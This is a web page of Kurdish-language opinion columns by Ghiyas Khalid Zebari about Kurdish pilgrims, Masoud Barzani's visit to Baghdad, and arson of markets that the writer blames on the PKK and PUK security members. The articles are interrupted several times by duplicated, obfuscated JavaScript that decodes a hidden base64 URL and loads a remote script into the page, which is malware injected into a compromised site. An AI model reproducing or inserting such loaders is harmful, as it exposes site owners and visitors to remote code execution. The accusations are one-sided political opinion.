بوون ژ گازنده‌ و داخوازیێن ژماره‌كا حه‌جیێن كوردستانێ و ب هیڤى یه‌ حوكمه‌تا هه‌رێما كوردستانێ بۆ ساڵێن بهێت لبه‌رچاڤ بگریت، چونكى حه‌جی یێن ڤێ رێكا دوور دبڕن و ل ماڵێن خوه‌ دوور دكه‌ڤن هه‌ژى خزمه‌ته‌كا زێده‌ترن.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

غیاس خالد زێبارى
پشتی شه‌ش سالان سه‌رۆك مه‌سعود بارزانی سه‌ره‌دانا به‌غدایا پایته‌خت دكه‌ت، هه‌ر چه‌نده‌ سه‌ره‌دانا كه‌سایه‌تیێن سیاسی د ناڤ ئێك وه‌لات دا، سه‌ره‌دانێن نۆرمال و سروشتی نه‌، لێ سه‌ره‌دانا سه‌رۆك بارزانی بۆ به‌غدا نۆرمال و سروشتی نه‌هاته‌ دیتن، چونكی لسه‌ر ئاستێن جه‌ماوه‌ری و فه‌رمی و راگه‌هاندنێ و سۆشیال میدیایا كوردستانی و ئیراقی ده‌نگڤه‌دان و ڕه‌نگڤه‌دانه‌كا مه‌زن هه‌بوو، سه‌رۆك ل به‌غدایه‌ بۆیه‌ درووشمێ ژماره‌كا چالاكڤانێن سۆشیال میدیایێ و كه‌نالێن ڕاگه‌هاندنێ، ڤێ چه‌ندێ دیاركر كو چوونا سه‌رۆك بارزانی بۆ به‌غدا زۆرا جودایه‌ ل گه‌ل سه‌ره‌دانێن كه‌سایه‌تیێن سیاسی و سه‌نگ و پێگه‌هێ مه‌زن كاریگه‌ر یێ جه‌نابێ وی دیار دكه‌ت، چونكی د ڤێ سه‌ره‌دانا دو رۆژی دا چه‌ندید دیدار و كۆمبوون ل گه‌ل پڕانیا سه‌ركردێن ئیراقی ب هه‌می پێكهاتێن نه‌ته‌وه‌یی و ئه‌تنی یێن جڤاكێ ئیراقێ هاتنه‌ كرن، نه‌خاسمه‌ ئه‌وێن د ناڤ كابینه‌یا وه‌زاریا سونی دا، دیسا هه‌ڤدیتن ل گه‌ل ژماره‌كا زۆرا بالیۆزیێن وه‌لاتان ل ئیراقێ كرینه‌، ئه‌ڤ كۆمبوون و دیدارێن سه‌رۆك بارزانی ل به‌غدا، دیمه‌نێن پێشوازی و دیدارێن ل گه‌ل بارزانیێ نه‌مر ل به‌غدا یێن پشتی ڤه‌گه‌ریانا وی ل ئێكه‌تیا سۆڤیه‌تا به‌رێ ل ساڵا ١٩٥٨ د ئین پێش چاڤێن مرۆڤى.
ده‌نگڤه‌دانا ڤێ سه‌ره‌دانا سه‌رۆك بارزانی و كۆمبوونێن گرنگ نیشانێ مه‌زناهی و گرنگیا پێشگه‌هێ سه‌رۆك بارزانی یه‌ لسه‌ر پرس و سیاسه‌تا ئیراقێ و ده‌ڤه‌رێ و هه‌ست دهێته‌كرن ببنه‌ بنه‌مایه‌كێ موكۆم بۆ چاره‌كرنا پرس و ئاریشه‌یێن د ناڤبه‌را هه‌ولێر و به‌غدایێ لسه‌ر بنهمایێ ده‌ستووری و رێكه‌فتنێن سیاسی، ژ لایه‌كێ دیتر هه‌ست دهێته‌كرن كو ره‌وشا ناڤخوه‌ یا ئیراقێ و په‌یوه‌ندیێن وێ ل گه‌ل ژماره‌كا وه‌لاتان به‌ر ب ئالۆزیێن مه‌زن و هه‌ڕفینێ ڤه‌ بچن و سیاسیێن ئیراقێ تنێ سه‌رۆك بارزانی وه‌ك سه‌ركرده‌كێ نشتیمانیێ مه‌زن ب كلیلا ده‌ربازبوونا وێ ل قه‌یرانه‌كا مه‌زنا سیاسی دبلۆماسی دیتی یه‌، یان ژی سه‌ركرده‌ و ده‌ستهه‌ڵاتێن ئیراقێ گه‌هشتینه‌ باوه‌ریێ كۆ ئیراقا بێ هه‌ڤپشكیه‌كا ڕاسته‌قینه‌ ل گه‌ل هه‌رێما كوردستانێ نه‌شێت ئارام و سه‌قامگیر ببیت و سه‌رۆك بارزانی ژی هێڤێنێ وێ هه‌ڤپشكیێ یه‌.
ئاشته‌وایا ناڤخوه ی ئیراقێ ژی مژاره‌كا گرنگا ڤێ سه‌ره‌دانا سه‌رۆك بارزانی یه‌، كۆ مه‌رجێ سه‌قامگیری و ئارامیا ئیراقێ بتایبه‌ت د ناڤبه‌را (شیعه‌ ــ سوننه‌) و (سونه‌ ــ سونه‌) و به‌رده‌وامیا ره‌وشا نها دێ ره‌وشا وه‌لاتی به‌ر ب مه‌ترسیێن مه‌زنتر ڤه‌ به‌ت.
ئه‌ڤ سه‌ره‌دانا سه‌رۆك بارزانی بۆ هه‌ر ئێك ژ ڤان پێشبینا ب به‌رژه‌وه‌ندیا ئیراقێ و هه‌رێما كوردستانێ دایه‌، ب تایبه‌ت هه‌رێما كوردستانێ و حوكمه‌تا وێ كو ده‌مێ چه‌ند سالایه‌ ئیراق ئاسته‌نگێن ئابووری و دارایی و قانوونی و ده‌ستووری بۆ كوردستانێ دروست دكه‌ت.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

غیاس خالد زێباری
ئه‌ڤ ساله‌ د رویدانێن بێ وێنه‌دا و ل ده‌مێن نێزیكی ئێك چه‌ند بازارێن مللی ل ل هه‌ولێرا پایته‌خت و دهۆك و كه‌ركووك هانته‌ شه‌وتاندن (سۆتن)، كو ب هزاران ژ خه‌لكێ هه‌ژارێ كوردستانێ ژیانا خوه‌ پێ دابین دكر.
هه‌ر ل ده‌سپێكێ ده‌م و شێوازێ شه‌وتینا ڤان بازاران ژلایێ خه‌لكێ كوردستانێ و ده‌ستهه‌لاتێ جهێ گۆمانێ بوو كۆ ب ئه‌نقه‌ست و بن سێبه‌را لایه‌ن و ده‌ستێن سیاسی ئه‌ڤ كریارێن هاتبنه‌ كرن.
جهێ دلخۆشیێ یه‌ ل ده‌مه‌كێ كێم دا وه‌زاره‌تا ناڤخوه‌یی یا ئیراقێ ب هه‌ڤپشكی دگه‌ل وه‌زاره‌تا ناڤخوه‌ یا كوردستانێ سێ تاوانبار هاتینه‌ ده‌سته‌سه‌ركرن كو دو ژ وان ئه‌ندامێن هێزێن ئێمناهیا كوردستانێ نه‌ و ب پیلانا په‌كه‌كێ ئه‌ڤ كریارێن تیرۆرستی ئه‌نجامدانه‌.
كاره‌ساتا مه‌زن ئه‌وه‌ ئه‌ندام و پله‌دارێن هێزێن ئێمناهی و دژه‌ تیرۆرا كوردستانێ ل سلێمانیێ راستر ئه‌وه‌ یێن ئێكه‌تیا نشتیمانیا كوردستانێ وه‌كی پارتیه‌كا ده‌ستهه‌لاتدار سه‌رپه‌رشتیا ڤان كریارێن نه‌رۆڤایه‌تی و تێكده‌ر بكه‌ن، یا مه‌زن و مه‌زنتر ئه‌وه‌ ئێك ژ وان ل هه‌لبژارتنێ ٢٠١٨ كاندیدێ هه‌مان حزب بوو بۆ ئه‌ندامه‌تیا په‌رله‌مانێ كوردستانێ ..! ، دارشتنا پیلانا ڤێ تاوانێ ژلایێ په‌كه‌كێ جهێ پسیار و حێبه‌تیێ و باسكرنێ نینه‌، چونكێ هه‌ر ئه‌و لێ دهێته‌ چاڤه‌ڕێكرن و لسه‌ر ڤان ڕه‌نگه‌ ڕه‌فتارا مه‌زن بووینه‌، لێ جهێ پسیار و حێبه‌تیێ هه‌بوونا ده‌ستێن ئه‌ندامێن دژه‌ تیرۆرا ئێكه‌تیێ و پێشمه‌رگه‌هێن وان وانه‌، نه‌خاسمه‌ كادرێن وان یێن پێشكه‌فتی كۆ كاندیدێن په‌رله‌مانێ كوردستانێ بن؟! ، چونكی نیڤه‌كا ده‌ستهه‌ڵاداریا هه‌رێما كوردستان د ه‌ستی دایه‌ و ئه‌گه‌ر ئه‌و كاندیدێ وان یێ نڤیسكار و شوینوارناس خودان ئه‌ڤ هزرا دژه‌ كورد بیت، ببا ئه‌ندامێ په‌رله‌مانێ كوردستانێ و دناڤ لیژنا ئاسایش و به‌رگریدا با دا ده‌ستێن وی چنه‌ ناڤ چه‌ند پیلان و كریارێن دژی خه‌لكێ كوردستانێ، سۆتنا ڤان بازارێن مللی و شوونواری ب ڤی ڕه‌نگی نه‌ تنێ تاوانه‌كا نه‌ مرۆڤایه‌تی یه‌ بۆ لاوازكرنا ئابووری، به‌لكی پشكه‌كه‌ ژ پیلانێن جینۆسایدا ئابووری و ترساندنا خه‌لكی بۆ مه‌رامێن تایبه‌ت و ده‌ستكه‌فتێن بچیك یێن ماددی، ئه‌وێن ده‌ست دناڤ ڤان تاواناندا هه‌ی په‌شكه‌كا نشتیمانیبوونێ و نه‌ته‌وایه‌تیێ لده‌ڤ نیه‌ و ئه‌گه‌ر شیان هه‌بن مینا رژێما به‌عسا ئیراقێ دێ هه‌وێن ئه‌نفالكرنێ و جینۆسایدێ دژی خه‌لكێ كوردستانێ به‌رپا كه‌ن.
پێدڤیه‌ ئێكه‌تیا نشتیمانی پێداچوونه‌ڤه‌كا بله‌ز ل هێزێن خۆ یێن ئێمناهیێ و دژه‌ تیرۆرێ بكه‌ت و به‌ری قانوون وان سزا بده‌ت، وه‌كی حزب ژلایێ سیاسی وان سزا بده‌ت و ئه‌ندامێن خۆ فێری پارێزه‌یا گه‌ل و وه‌ڵاتی و ده‌ستكه‌فتان بكه‌ت، نه‌ك كارێن تیرۆرستی، ئه‌گه‌ر نه‌ ملله‌ت دێ وان سزا ده‌ت و سزایێ ملله‌ت ل سزایێ قانوونێ دژوارتره‌.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();